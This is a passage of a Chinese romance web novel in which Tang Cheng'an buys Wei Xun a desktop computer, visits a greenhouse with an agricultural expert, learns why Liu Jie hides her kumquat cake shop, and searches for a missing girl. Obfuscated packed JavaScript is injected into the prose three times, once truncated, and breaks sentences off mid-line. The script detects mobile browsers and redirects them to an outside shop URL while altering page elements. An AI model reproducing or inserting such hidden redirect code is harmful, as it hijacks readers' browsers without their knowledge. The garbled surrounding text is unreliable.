不到半年,魏寻就被这些道貌岸然的“合伙人”抛弃了,同时还卷走了他大学四年勤工俭学的存款、奖学金,以及省下来的生活费。 向才申最后是在警察局找到他的,据说那时他已经神志不清了,一个人坐在大厅的铁椅上,手里哆哆嗦嗦攥着仅剩的二十块钱。 科技再一次掉了链子,和街上没能拍到他父母的监控一样,这次也没能让他找回失去的东西。 唐成安心底的压抑像是被这沉重的回忆重新激荡了起来,那种难过的感觉犹如瓶中浑水里的泥沙,只是轻轻一摇,便塞满了整个心脏。 她觉得之前对魏寻外貌的排斥,如今都一根根刺向了她,无时无刻不在提醒着自己是多么的庸俗。 经历了那样的挫败,他如今回到南州又是什么样的心情呢? 魏寻向来就是一个情绪过分内敛的人,没有人能够从他眼里获得任何确切的感受,即便是当时无时无刻跟在他身后的唐成安也很难办到。 更何况魏寻一去就是十年,十年里的风云变幻,仅仅一个小小的南州就已经翻天覆地,藏匿在魏寻心底的秘密恐怕只会更加难以企及。 唐成安心情沉重,不知不觉就走到了魏寻公寓门口,但她没打算走进去,她实在不知道应该以何种态度面对魏寻。 唐成安犹豫地轻敲了三下铁门,里面果然还是没人回复,正准备转身离开,却在楼梯口碰到了上楼的魏寻。 他手里提了一大箱健力宝,双眼布满了红血丝,黑眼圈仿佛有眼睛那么大,双腿上楼软绵绵的,看上去疲惫不堪。 “成安,你怎么来了?”魏寻揉了揉眼睛,把那箱健力宝挡在身后,有点强颜欢笑,“进来坐坐吧。” 唐成安只是默默看着魏寻上了楼梯,自己停在一层中间,带着质问的语气抬头: “你这几天去哪了?来了几次都找不到人。” 魏寻这下反倒显得气势弱了,虚心地挠了挠后耳根,结结巴巴地回答:“哦哦,我,我在网吧待了几天,忘,忘了告诉你。” 唐成安显然对这个解释不太满意,气哄哄地跺着台阶靠近他,一把夺走手里的健力宝和钥匙,走在了魏寻前头。 魏寻也感觉出了女孩的怄气,像只小狗一样小步小步跟在身后解释:“我,我不是故意不告诉你的……” 唐成安没有回复,只是自顾自打开了门,把那箱健力宝拆开,一罐一罐整整齐齐地放进冰箱。 刚把冰箱门关上,她就看见屋里新添的那把靠椅,椅背和坐垫都是皮革制成的,支撑的海绵挺立起来,看上去就很舒服。 唐成安发现,原来魏寻对每句话都有落实。 她转头看见魏寻正楞楞地杵在门口,像个做错事的孩子,低着头不敢进门,请求大人的原谅。 她一时觉得又气又笑,走上前去把他拉进来:“愣着干什么呀?我又不是气你这个。” 按着魏寻坐下后,唐成安拿出一面镜子对着他:“你瞧瞧你现在什么样?” 窗外忽然响起来密集的雨点击打玻璃的声音,挤压许久的大雨伴着轰鸣的雷声倾泻而下。 闪电像是一道银色的弧线,画在了魏寻疲困的脸上,照得他没有一丝生气。 魏寻傻傻地看着镜子,不知应该作何反应,这倒把唐成安逗笑了。 “难不成被自己的美貌惊呆啦?” 唐成安噗嗤一声笑出来,带了点调侃,魏寻也冲着她傻乐,一副迁就纵容的模样。 两个人漫无目的地笑着,眼神相交,就像回到了十几年前,那个和煦明媚的早晨。 唐成安拉开椅子与魏寻对坐着,歪头探出身子问:“你去网吧干什么?” “台,台式机比笔记本运行快些,方便写程序。” 唐成安听得认真,魏寻却被盯着有些不自在,慌张挪开了眼。 唐成安凑近了才发现,魏寻的双眼已经深深地凹陷下去,眼神很是疲惫黯淡。 她小声地自言自语:“这又是熬了几个大夜啊……” “不过可惜啦,你还是没办法休息。”唐成安话锋一转,直起身子打了一个响亮的响指,“我想到可以利用我们酒店自培的蜜瓜打开市场。” “你说什么?” 外面的雷声猛不防一声在头顶炸开,沉闷的余音让屋里的两人听不清彼此说出的话。 唐成安弯着身子,把椅子逐渐拉进魏寻,几乎贴着他的耳朵说:“我说,我们可以利用我们酒店自培的蜜瓜打开特色市场,但是还需要你的帮忙!” “当然可以,你这个想法特别……” 魏寻本想面对面看着唐成安的眼睛夸赞她的点子,却没意识到刚刚因为雷声听不清讲话,两人已经不知不觉将身子凑得很近。 所以他刚一转头,话都没能说完,两个人的鼻尖就碰到了一起,空气里一时弥漫着微妙的气息。 魏寻立马把距离拉开,身子撇到一侧,红晕从脸颊蔓延到了耳尖,就连呼吸都有些滚烫。 他不知道现在自己耳朵里炸开的究竟是窗外轰响的雷声,还是他胸膛中如擂鼓般的心跳。 “听,听说你相亲很顺利?”魏寻笨拙地想要打破此时的尴尬氛围,率先开口扯开话题。 唐成安倒是看起来并没有在意刚刚的触碰,语气轻松地说道: “对呀,顺利地把他赶跑了。” 唐成安意料之外的回答让魏寻怔住了好一会儿,她看到魏寻呆呆傻傻的样子,有点无奈地发笑: “我跟那男的说,我现在年纪有点大了,希望三年抱俩,不过我自己好吃懒做,所以每周都要至少多花一百块。” “哦对,还要伺候我家那俩游手好闲的猪,所以彩礼最少给二十万。” “当然最主要的还是对方必须入赘,要是那个‘唐飞腿’身边没了伺候的人,全南州都知道他能干出什么样的混事来。” 魏寻被她这一通胡说八道逗笑了,笑容温软细腻。 唐成安说完这些摸不着头脑的话,自己也觉得很荒唐,眉眼弯弯,笑得灿烂。 “是对方条件不好吗?” “那可不,一颗像蒲公英一样的头,感觉上面的头发风一吹就能全落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641441|156453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” “那你为什么还要去相亲?” “还不是那个‘唐飞腿’?他看到镇上和我同龄的,比我小的都生了孩子,自己也想凑个三世同堂呗。” 唐成安说这话的时候白眼都要翻到天上去了。 “你既然不愿意去为什么不和唐叔说呢?” “没理由呀。”唐成安低头抠着裤子上冒出的线头自说自话,“之前还能拿你当盾牌,现在我们不是‘分手’了么,老头他就更着急了。” 魏寻听了心绪混乱不堪,唐成安的语气是那么轻松自由,好像无时无刻不在提醒他——他不能越界,他们只是朋友。 然而唐成安这个粗线条的人根本没有意识到魏寻的变化,还以为他是在发呆,在他面前挥了挥手。 “嘿!发什么呆呢?看到你没什么事我就先走喽。” 魏寻缓过神来,慌慌张张地站起来,从柜子里翻出一把伞:“外面雨大,我,我送送你吧。” 唐成安出了门,在外面套起了雨衣,摆摆手拒绝:“不用不用,我有雨衣。” “雨衣怎么够,我还是送送你吧。”说完魏寻就把门关拢,拿着一把长柄雨伞准备出门。 唐成安见拗不过他,就这样半推半就地答应了。 - 外面的雨没有变小的趋势,微凉的夜幕中雨淅淅沥沥地下着,远处的路灯将雨点染了色,又绵又细的雨扑面而来,空气里透着丝丝凉意。 雨里,魏寻和唐成安肩并肩慢慢走在路上。 魏寻比唐成安高了一个头,衬得她小小一个,身上又套着比自己大一号的红色雨衣,像个可爱的晴天娃娃。 “诶诶诶!” 唐成安忽然用手肘碰了碰魏寻的手臂,害得撑着的雨伞都抖了几抖,伞面积起的雨水都撒了不少在身上, “你在这儿等我啊!” 魏寻不知道她要干什么,就听话地立在原地,呆呆望着女孩跑进雨里的红色背影。 没一会儿,女孩就又兴冲冲跑了回来,怀里不知道抱着一袋子什么东西。 “快看,你喜欢吃的康乐果。” 魏寻这才反应过来,原来他们现在走到了曾经的初中门口。 校门旁的小卖铺一直都是学生们的聚集地,不用吆喝也有无数的老顾客,淀粉肠、大大卷、跳跳糖都是抢手货。 下了课的学生会背着书包冲出校门,把在口袋里塞了一整天的几毛钱零零碎碎凑在一起,一块拼凑起来买个便宜的零食,大家一起分着吃。 魏寻最喜欢的就是那个塞进几乎有半个人高的透明袋子里的康乐果。 “是你最喜欢的原味,你尝尝还是那个味道吗?” 因为身高差太大,唐成安只有踮起脚才能撑住魏寻的头。 尽管举得颤颤巍巍,但她的眼神还是亮晶晶地看着魏寻,满怀期待地等他的反应。 “嗯,还是很好吃。” “好吃你就多吃点儿,不够我再去买。” 唐成安有一双特别的小鹿眼睛,眸子一闪一闪的,瞳色是浅淡的琥珀,一笑起来眉眼弯弯,如同春日里温煦的阳光。 微微颤动的睫毛一扫一扫,扫得魏寻心里痒痒的。 南州人都知道,唐家老幺整日无忧无虑、恣意洒脱,是个没心没肺难伺候的主儿。 只有一人本事大,小姑娘如炬的目光从来都离不开他。 连她自己都不知道。 - “我们刚刚为什么要在雨里吃?” “呵呵呵……” “大概因为傻吧。” 8. 方正台式机 南州北边的巷子里一大早就不安宁。 大家都有默契地凑到了唐家门口,带瓜子的带瓜子,搬凳子的搬凳子,做好在门口站一上午的准备。 “哎哟喂,真是造孽啊!” 唐玉山撒泼赖皮的一嗓子冲破拂晓,把巷子里的狗都吓了一跳。 他一屁股坐在地上,双腿不停蹬着耍赖,鞋子飞得院子角落一边一只,裤子都被蹭下来了大半,哭得歇斯底里。 “那可是六千块啊!说花就花,你不如谋杀亲爹算了!!” 唐成安可没工夫理他,从衣柜里随意扯了件外套扭头就走。 唐玉山看到女儿没一点反应,干脆整个人躺在地上,翻来覆去滚了一身灰,无赖地抱住唐成安的脚不让走:“还钱!” 唐成安实在是忍无可忍,一把揪着唐玉山的领子把他拖走,脸上的表情比恶鬼还可怖。 “六千块都是我自己赚来的钱,家里的钱我一分没动!你但凡少赌点,找个正经工作,我们家根本就不缺这六千块钱!” 唐玉山自觉理亏,肯定吵不过这个丫头,就哭天喊地地耍起了赖皮。 “哎哟喂,我的国,我的泰啊,你们看看你的小妹这在说什么啊!她都敢骂她爹了哇!!” 碰上这么个不怕开水烫的老无赖,唐成安也是气不打一处来,白了他几眼就干脆利落地走了,留他一个人在院子里无理取闹。 自从前几天知道魏寻为了做乐兴的数据系统,一个人在网吧待了好几夜,她实在不忍心,就计划着送他一台台式机。 可她不太懂这个,所以跑了好几家店,互相对比了才知道方正的台式机最好,只不过要六千块。 她想,不管这个倒霉爹再怎么胡闹,这六千块钱花在别人身上也比落他手里拿去赌的好。 等工人把大件都搬上了魏寻住的公寓楼,唐成安就迫不及待敲响了魏寻的房门。 “看我带什么来啦?” 魏寻对唐成安的出现十分惊讶,没想到她身后的大惊喜更是让他目瞪口呆。 “你买这个唐叔不会怪你吗?” “他有什么资格怪人啊?”唐成安边说边把箱子推进了房间里,“他自己没工作又赌博,白花家里的钱,前前后后算起来可远远不止这么多呢。” 魏寻主动接过箱子,把它抱上桌。 这个台式机可不轻,装进的是女孩满满的心意。 “你也别这么想,”魏寻声线很轻,温柔安抚着唐成安的情绪,“唐叔还是很在意这个家的,你看你们三兄妹,国泰民安,多好的名字。” 只是没想到这一下反倒有点火上浇油,唐成安拍了拍手上刚刚推箱子沾上的灰,直起背来,气恼地叉着腰: “还国泰民安呢,还没到民,老婆倒忍不住先跑了。” 唐成安一直没有妈妈的记忆,据说她妈在生下她三个月后就连夜逃了。 她从来都没有怪过母亲,毕竟有个头大的爹,过不下去很正常。 却可怜小姑娘只喝了三个月的母乳,家里又没有别的女眷,最后不得不靠着米水长大。 幸好街坊邻居也疼她,都知道唐家是个什么情况,更是因为对唐玉山的本性心知肚明,所以基本上家家户户逢年过节就会送些鸡蛋和熏肉过来。 吃着百家饭长大的小成安也是争气,即使喝的米水也可以长得身体健康,能蹦能跳,更别说那股不知道遗传谁的机灵劲儿。 “你也别为他说好话了,你帮了我们酒店那么大一个忙,之后营业额肯定蹭蹭往上涨,所以就当提前预支我的薪水帮你买的吧!” 唐成安俏皮地歪了个头,扎起的发尾在空中晃了晃,头绳上串的珠子碰出了清脆的响声,显得机灵可爱。 魏寻微微倾身,注视着她的眼眸,视线丝毫无法挪开。他痴痴地注视着她,没有笑意,认真的眼波暗暗翻涌,不知轮回了多少次心动。 也许是魏寻的眼神过于炙热,唐成安隐约感觉出了什么,顿了顿,怯生生移开了眼睛。 好在电话铃声有眼力见儿地响了起来,魏寻起身去外面接了电话,这才让唐成安分出神来处理自己砰砰直跳的心脏。 这通电话没多久就结束了,最后是魏寻清清淡淡的笑容。 “走吧,专家来了。” - 南州的外围是层层叠叠的山峦,山峦丛生的森林里,郁郁葱葱的树木竞相生长,枝繁叶茂,是清爽和蓬勃的感觉。 牛车的闷叫声、农民赶集的吆喝声和禽鸟的鸣叫重合在一起,也不觉鼓噪。 “不是,咱们为啥要坐三蹦子来?” 泥土地坑坑洼洼,三轮车颠簸的声音有些令人耳鸣,人只能搬张小凳子靠坐在扶手旁边,稍一不慎就会摔一大屁股墩儿。 这简朴的条件,对于向才申这个金贵的富家公子自然很难受得了。 “温室大棚在地里,小路太窄,汽车很难进去!” 三轮车的噪音太大,人只能提高声线对话。 向才申本来只想凑个热闹,无奈这位公子爷娇生惯养惯了,实在没吃过苦,只不是一个小三轮,没一会儿就能把他娇嫩的屁股颠疼了。 他不停地扭动身子,也找不出一个能放他金贵娇臀的位置。 “坐稳了啊,有个大坑!” 司机师傅一路上听了不少向才申的抱怨,早就猜到这是个娇贵的公子哥,特地转过头来好意提醒。 “哐当”一声,除了三轮车轮子碰撞底板的动静,还有向才申一脸砸在地面的巨响。 幸亏向才申反应快,伸出双手急忙护住了脸,也是没破相,只是可怜那只被他那大脑袋压碎的劳力士金表。 表盘已经完全碎掉,玻璃渣像粉末一样倒出来,有些零零碎碎的还藏在指针缝隙里,时针一卡一卡,看上去是走不准了。 向才申看了也只是瘪了瘪嘴,一脸无所谓地脱下表带,随手往周胜天身上一扔。 周胜天也是有默契,俩人就像和宠物玩接飞盘一样,最后准确接到了那只残缺的金表。 唐成安看了这俩人的互动一脸不解,皱着眉头默默看向了魏寻。 魏寻被她搞怪的表情逗笑了,耐心和她解释:“财神和老周就是这样,一个花不完的钱,一个捡不完的便宜,双方互相成就。” 周胜天,来自四川西部一个特别的小山村,村子里没有年轻人,老人们就靠着自家种的那几样菜过日子。 只是这天有点不一样,姓周的那家儿子突然跑了回来,塞了一个黑黢黢的东西就头也不回跑走了,老人一打开才发现是个五个月左右的孩子。 老人不知道这孩子具体的身世,自己儿子也联系不上,但瞧着这孩子生得也机灵,就把他留了下来,当作亲孙子养大。 可是村子实在太穷了,根本没有足够的钱供他上完学,无奈就只能让他早早出去打工,甚至就连出村的车费都是一整个村子零零散散好不容易凑出来的。 好在周胜天天生一副好口才,在北京干了几年销售,饭碗也算是稳当。 然而,即使赚了些钱,从小拮据的生活却早就让他养成钻钱眼子里的性格,彻底出不来了。 唐成安瞧了瞧这个性迥异的异姓三兄弟,摇摇头无奈露出一丝冷笑。 一个少爷,一个穷鬼,一个呆瓜,还真是奇葩凑一块去了。 “唐小姐,我看你们这地方金桔树还是种得挺多的啊!” 托向才申的福,农大博士毕业的许教授从北京千里迢迢赶来,专程来南州考察蜜瓜种植。 “是呀,也是前几年才开始种的,原本栽的是石榴。” 唐成安转身看着后面山头上栽得满满当当的金桔树,果树一丛接着一丛,一整个山头的青绿身影,金黄的果实像连片的小灯笼,黄澄澄的挂在枝头。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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因此,许教授建议采用大数据监管,建成一个“数字温室”。 只不过要建一个“数字温室”,目前很多器械都要换新。 许教授说着说着就拿起一个没用的喷头敲了敲,示意这些没用的老设备迟早会拖后腿,要早点换掉。 不料这无意的一敲,居然惹得整个温室的洒水系统罢了工,开始肆无忌惮地喷水,在温室里下起了小雨。 唐成安还没来得及感受这些有个性的喷头,眼前就突然一黑。 直到她抬起头才发现,魏寻早早反应过来,迅速把她好好地护在外套底下,愣是没让她粘上一滴水。 唐成安的头就凑在魏寻锁骨处,稍稍一抬眼便能看到他微微凸起的喉结。 她的鼻尖略略触碰到了魏寻的胸口,他的身上有股清淡的柠檬洗衣液香气。 她能感觉到自己头顶好像已经贴到了魏寻的下颚,于是尽力调整自己的呼吸,怕急促的呼吸暴露此时慌乱的心跳。 “啊啊啊啊啊!我的衬衫!”向才申一声惊恐的怒吼吸引了棚内所有人的目光,“这不能沾水啊!” 向才申可没那么命好,面前的周胜天只穿了一件汗衫短袖,即使把他扒光了也没有衣服替自己挡水。 可怜小少爷这身名贵的香奈儿是彻底没法挽回了。 气急败坏的他哼哧哼哧跺着脚离开了大棚,周胜天无奈在后面跟着,好声好气地哄这位少爷脾气的祖宗。 许教授尴尬地抖了抖头上的水,拿出手帕擦拭喷湿的镜片,说: “不过即使把设备换了,装上数据监测仪,也还是需要一个人专门盯着才行。” 唐成安一听眼睛又亮了起来。 “我知道谁可以!” 9. 金桔薄荷酥糕 “这次你可要好好干哦。” 唐玉山难得有这么一次骄傲的机会,他拿出藏在柜子最里面的宝贝皮夹克穿在身上,头发抹了些头油,整整齐齐别在后面。 女儿在身边帮他细细折着内衬的翻领,整个人不再有平常的窝囊颓废味道,模样精神得很。 自从唐成安知道温室需要一个专门盯着数据的人后,便硬着头皮和老余求了很久,才把这个职位替他老爹争取到。 她想,就算唐玉山再怎么不成事,他这个人既没瞎又没聋的,那数据明晃晃地摆在屏幕前,是个人都会做。 而且魏寻还有心帮忙做了个程序,一旦出现异常情况就会发出警报,如果这么简单一件事还能干不好,那可就真是天意了。 “放心放心,这次保证不跑。” 唐玉山看起来信誓旦旦的,对自己是相当放心。 唐成安斜了他一眼,知道自己爹是个什么品性,但又不好打击他积极性,只能默默期盼着他能撑够一年。 她从上到下拍了个遍,把衣服上的褶皱都拍散后就准备送唐玉山去迎接他上班的第一天。 两人还没迈出院门,就被唐成泰不明所以地一人塞了一片刚裁好的西瓜。 “隔壁那家不知道怎么闹翻天了,哎哟喂,又扔又砸的,可热闹了,快去看快去看!” 唐成泰一手端着半个西瓜,特意折返回来提起房间里的小木凳,嘴巴里还含着没咽下去的汁水,匆匆忙忙就跑去隔壁凑热闹。 唐玉山也不是什么靠谱的,一听有热闹看,刚刚誓要洗心革面重新做人的劲瞬间抛到脑后,鬼鬼祟祟跟了过去。 唐成安看着这看热闹不嫌事大的两人,简直是气不打一处来,急冲冲跑出去准备把他们逮回来。 刚凑过去,就差点被屋子里飞出来的鞋子拍脸上。 居然闹这么凶吗? 这户人家姓李,前段时间家里的男主人在为自家的自建房第三层上漆时,由于脚手架没搭稳摔了下来,后脑勺着地,当场死亡。 家中还有两位拾荒的老人,守寡的妻子和一个正在读初二的女儿。 这家的女儿也是令人头大的主儿,沉迷动漫上网已经好几年了,班主任也来过好几趟,劝都劝不动。 大吵小闹折腾过好几回,这次是最凶的。 从邻居闲话里拼拼凑凑才知道,这是在闹分家,据说是莫名其妙得来了一笔巨额保险,不知道是谁在男人生前投的,受益人写的是两位老人。 妻子便突然心理不平衡了,自己辛辛苦苦一个人撑起这个不像样的家,到头来赔偿全都分给两个半个身子都已经埋土里的老人,于是吵着要离婚分家。 虽然俗话说,“钱这个东西,生不带来,死不带去的”,但对于活着的人而言,钱就是蜡烛上的引线,不论之前生命燃烧得多么旺盛,一旦断了引线,火焰便如同流星一般一闪而过。 一个家的崩离,都很难离开钱。 唐成安不愿再掺和了,也不敢再看下去,在唐玉山和唐成泰各自头上敲了一个爆栗,然后拽着衣领把他们领走了。 - 唐成安没有忘记前几天专家的提醒,好不容易等来休假,便一个人骑着电动车出发去找刘姐商谈关于金桔薄荷酥糕的事。 其实这条路她已经走过不下数百次,但这一次却总让她想起魏寻。 魏寻初中的宿舍离学校很近,所以唐成安一直没有机会像言情小说的男女主一样坐上他的自行车后座。 前段时间去信号台的那次,是她第一次坐魏寻的后座。 那一路的路面真的很陡,唐成泰没有开玩笑,因此抱腰才是最合适的,可是两个人都过于害羞,只敢轻轻扶着肩膀。 微风吹过脸颊,带着树叶的清香留在回忆里。 时光还是在无言中冲淡了许多东西,十几年不见的初恋,相逢亦是无语。 有时唐成安会从背后歪一点脑袋,偷眼瞧瞧这个她曾经那般热烈喜欢过的男孩,仿佛想要从他脸上找到十几年前的自己。 可是魏寻与十年前毫无二致的眉眼,如今除了相视默然的生分,竟没能激荡起唐成安十年前与他有关的任何情愫。 她不明白为什么只不过是人生中短短的十年,竟然就能这样轻而易举地把她曾经的真心喜欢冲淡得了无痕迹。 但她可能不知道,男孩其实也在后视镜里暗暗看着自己。 而她更不知道,那双眼睛虽然温沉,却烧着隐晦的爱意。 - 南州是个种满了金桔的小镇,有时空气都是清甜的,如果空气中多带了一丝薄荷的凉爽,那就说明刘姐小店到了。 “刘姐!”唐成安取下头盔,把车扶到一旁,乐呵呵地冲着刘姐打招呼。 但是小店里居然空荡荡的,一个人都没有。 唐成安觉得奇怪,歪着个脑袋,蹑手蹑脚地走进去。 正要弯腰拾起一块掉在地上的糕点,本来夹在腰间的头盔一下没拿稳,咕噜咕噜滚到前面的帘子那里去。 唐成安急忙小步快跑了过去,一抬头却发现帘子后面还有个房间,门是虚掩着的,从门缝里看过去才发现,刘姐正在这个房间里忙活。 “刘姐,你怎么在这呀?” 唐成安直起腰来,生怕突然吓到刘姐,只敢小声询问。 刘姐有点吃惊地转过头来,发现是唐成安,赶紧找了块抹布擦干净了手,笑盈盈走上前。 “我在做糕点呢,有什么事吗?” “哦哦,我来找你商量个事。”唐成安跟着刘姐退到店面里,“不过原来你是在这里做的糕点呀。” 刘姐脸上恍惚间露出了一丝不自然的表情,拙劣地扯开话题:“商量什么?” 唐成安也没多想,放下头盔,拉着刘姐坐下聊。 “是这样的,前几天从北京来了位专家,本来是过来处理我们酒店自培蜜瓜增产问题的。” “后来他看到山上种的那些金桔,觉得长势很好,所以建议我们利用金桔发展特色产业。” “当时我一下就想到你的金桔薄荷酥糕了。” “你做的酥糕大家吃了都说好,只不过店面太偏,知道的人不多。” “那我就在想,如果帮你注册商标,实现量产,南州说不定就可以通过金桔薄荷酥糕打响名号,到时候每一家分店的利润都有你的份!” 唐成安说的神采飞扬,认为这又有名又有利的好事,谁都不会拒绝。 但是刘姐没有回答,她的内心好像隐藏着什么,这一瞬的沉默有着不可言喻的深度和犹豫。 唐成安虽然觉得奇怪,但也默默等待着,以为刘姐这反应是因为比较谨慎。 终于,在片刻的沉默后,刘姐缓缓开了口: “成安,你知道我为什么把店开的这么偏吗?” 唐成安被问住了,原本她以为是镇中心没了好位置,又或者是租金太贵,刘姐才把店面开在偏僻的城外。 可是如今她这么一问,事情好像并不是那么简单。 刘姐缓缓抬起来头,眼里充满了沉重的情绪,仿佛满眼都是难以启齿的心事。 “我就是故意不想让那么多人知道。” 唐成安一瞬间愣住了,结结巴巴问道:“为……为什么呀……” “我丈夫前几年不是因为采摘金桔的时候不慎跌落去世了吗,” 刘姐缓缓开口,眼神尽是悲痛,< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641443|156453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“我婆婆从此不愿再看到或听到任何和金桔有关的东西,连夜把我们家的金桔树全砍了,可能是看到金桔就会让她想起她可怜的儿子。” “但是我懂我丈夫,他自从跟着全镇改种了金桔,就对这黄澄澄的小灯笼格外上心。” “我想如果他还活着,肯定是不愿放弃的,所以我才找了个偏僻的地方卖起了金桔薄荷酥糕……” 刘姐的头越来越低,眼神也愈加黯淡,唐成安轻轻抓住她的手,满眼的心疼。 想来刘姐独自躲在店面后头的小房间里做酥糕,大概也是因为如果在家的话,就不得不想办法躲着她婆婆,那样可没办法正常经营下去吧。 她无时无刻不在考虑婆婆的情绪,而丈夫的心愿,她也一直默默守护着。 这个瘦小的女人,却有莫大的力量,那样笨拙又细致地支撑着这个家。 唐成安不愿再强迫她了,刘姐的委屈就像一拳一拳捶在她心尖上,心脏闷闷地疼。 - “刘姐这事就是这样吹啦!” 夜晚,屋顶的钨丝灯照得整个房间昏昏沉沉的,实在让人提不起兴致,唐成安怏怏地躺在床上,瘪着个嘴和魏寻通电话。 “没事的,第三产业还有很多方面,不光是小吃,我们也可以想办法筹办一个金桔文化节之类的文艺活动,还有你们酒店的蜜瓜,都会有一样的理想效果。” 电话的另一头是魏寻的柔声细语,宽慰着唐成安的情绪。 “哎,我只是心疼刘姐……” 唐成安在床上翻来覆去,对今天的事情依然耿耿于怀。 “嗯,刘姐确实不容易。” 魏寻感觉得出她的郁闷,于是一直顺着她的话继续说下去。 唐成安安静了一会儿,烦闷地抠着床单上的花纹。 “你那边什么声音?”直到两人都没说话,唐成安才发现魏寻那边好像一直有敲击键盘的声音,“你不会还在忙着写程序吧?” “哦哦,你们酒店的系统还有些漏洞,需要补一下。”魏寻回答道。 一提到酒店的系统,唐成安脑子里又蹦出自己简历上的那张照片,心里的疑问还是忍不住。 “你,你做系统的时候,有没有看到我的简历?”唐成安试探地问。 “没有啊,员工简历都是人事部那边上传的,我只是负责做出个程序而已。” “那就好……” 听到他的回答唐成安勉强松了口气。 还好没看到,要是被看到自己那么傻气的一面,她还真有些不好意思面对魏寻。 “你那边又是什么声音?”魏寻反问。 “嗨,隔壁李家最近闹离婚呢,折腾不少日子了。” 自从那一次大早上就惹得整个巷子的人围观,后面的好几天都不比那次动静小,几乎是整日整日地闹。 那家的婆婆也不是好惹的,是出了名的霸道蛮横,婆媳俩就这样来来回回吵个不停。 街坊邻居都习惯了,也不好瞎掺和,最后一个个都练就了能伴着吵架声入睡的了得本领。 忽然,争吵声不知怎么,一瞬间难得消停了,随之而来的急促而有力的敲门声。 “唐成泰!快去开门!!”唐成安朝着客厅怒吼。 客厅里坐着唐成泰一人,手里拿着最近刚得来的PSP游戏机,手指来回迅速,玩得正起劲。 “你去!我马上破纪录了,别打扰我!” 唐成安对他实在无奈,嘱咐电话对面的魏寻先别挂,不情不愿拖拉着拖鞋去门口开门。 门一打开,面前就是隔壁李家媳妇满脸通红,泪水在眼眶里直打转的焦急样子。 “成安,梦梦不见了!” 10. 《家有儿女》 “梦梦!梦梦!!”唐成安在大街上焦急地四处高喊。 进入夜晚,周围的灯光都已经黑了,只有街道旁边高悬的路灯还在一闪一闪。 李梦好像就隐匿于这一片黑暗中,迟迟找不到人。 据李梦妈妈说,她下午为了分家的事跟老人吵架,去卧室正准备收拾东西,这才发现家里到处都找不到李梦,也不知道小丫头什么时候离开的家。 为此,她晚上又和老人吵了半天,实在吵累了才开始找人。 但她敲了好几家门,要么已经睡了,要么就因为她家最近太闹腾不想插一脚,不肯帮忙找人,最后只有唐家愿意出来帮忙。 唐成安问她知不知道李梦平时会去哪,结果这个做母亲的竟然一问三不知,她也实在没办法,只能像无头苍蝇一样在大街上喊。 由于这时夜已经深了,人的视线过于模糊,担心小姑娘一个人大晚上的不安全,唐成安心里找得越发着急。 然而她出门的时候太匆忙,忘了换鞋,加上整个人又慌慌张张地在大街上寻人,结果跑得拖鞋都断开了。 无奈她只能扔掉没用的鞋子,赤脚找了一路。 “梦梦!梦……”唐成安迎面撞上一个人,打断了她的喊声,抬头定睛一看,才发现面前的人是魏寻。 魏寻扶着唐成安的手臂,呼吸急促,像是狂奔了一路,两边的眉头皱在一起,额上还挂着好几滴汗,一副心急如焚的神态。 “你,你怎么来了?”唐成安显然对于他的出现感到有些惊讶。 魏寻倒是语气急促,话语中似乎还略带了些责问:“我在电话里都听到了,刚想问清楚你就突然挂掉,害得我找你半天。” 唐成安这才回想起来,李梦妈妈敲门时她没有挂掉魏寻的电话,是后面开始找人的时候才匆匆挂掉的。 当时情况太紧急,还来不及和他解释,没想到魏寻自己居然也跑出来跟着找人了。 “那好,你也跟着一起找吧,我把女孩的照片发给你。” 事态紧急,魏寻加入是件好事。 然而就在他低头看短信的间隙,魏寻才发现唐成安刚刚居然一直在光着脚找人,一双脚已经被磨得通红。 魏寻:“你怎么光着脚?” “哦,跑太急把鞋子跑烂了。”唐成安瞥了一眼脚底,似乎并不放在心上。 “我们一起找,你先穿我的鞋吧。”说着魏寻就准备脱下鞋给唐成安穿上。 没想到唐成安连忙摆了摆手:“你的鞋子这么大,我怎么穿得了呀?我们还是分头找吧,这样快些,我的脚没事。” 说完她就匆忙向另一个方向跑走了。 魏寻看着唐成安的脚有些心疼,但毕竟人命关天,他也迅速掉头,开始按照分开的路线四处找人。 - 大约找了半个小时,唐成安还是找不到人,她第一次觉得南州居然是这般摸不清楚的广阔。 一路的奔跑让她后知后觉才感受到顺着小腿涌上的脚底涨涨的痛感,于是她张望四周,随意找了个地方坐下,抬脚一看,才发现脚底已经被人行道上的小石子划伤渗出了血。 她忍着痛把卡在伤口里的一些碎石头抠了出来,用身上带着仅有的几片湿巾轻轻擦了擦表面。 正准备丢到路边的垃圾桶里时,无意中瞟到电器店里好像有微弱的灯光。 她觉得有些不对劲,慢慢凑过去,发现门锁有明显被人撬过的痕迹。 小偷?! 唐成安不知道里面的人是什么来头,转身就打算跑走。 刚迈出几步,却又发现里面的灯光隐隐约约照出了一张熟悉的面孔,趴在玻璃上眯起眼睛一看才发现是李梦。 于是她赶紧走进店里,准备把李梦带回家。 